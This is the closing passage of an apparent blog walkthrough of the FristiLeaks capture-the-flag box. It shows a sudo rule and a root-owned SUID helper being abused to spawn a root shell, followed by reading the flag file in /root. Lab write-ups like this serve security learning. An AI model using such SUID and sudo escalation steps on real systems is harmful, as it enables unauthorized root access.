    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
    (fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

Interesting! Let’s check out this doCom program.

bash-4.1$ cd /var/fristigod/.secret_admin_stuff/
bash-4.1$ ls -l
total 8
-rwsr-sr-x 1 root root 7529 Nov 25  2015 doCom

It’s a root owned SUID program. But what does it do?

bash-4.1$ ./doCom
Nice try, but wrong user ;)
bash-4.1$ sudo -u fristi ./doCom
Usage: ./program_name terminal_command ...bash-4.1$

So it takes a terminal command, huh? Let’s try bash:

bash-4.1$ sudo -u fristi ./doCom bash
bash-4.1# id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Checkmate!

Capture the Flag

With root in hand, it’s a simple matter to find our flag. Head over to the /root directory, and have a look:

bash-4.1# cd /root
bash-4.1# ls -l
total 4
-rw-------. 1 root root 246 Nov 17  2015 fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1

Wrapping Up

And there you have it: Fristileaks 1.3 rooted!

This was a fun box, easily doable in the four-hour limit suggested in the description. The only major hangup was the guesswork to find the login portal in the early enumeration stage. From there, simple enumeration and exploiting an oversight was all that was needed to own the box.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.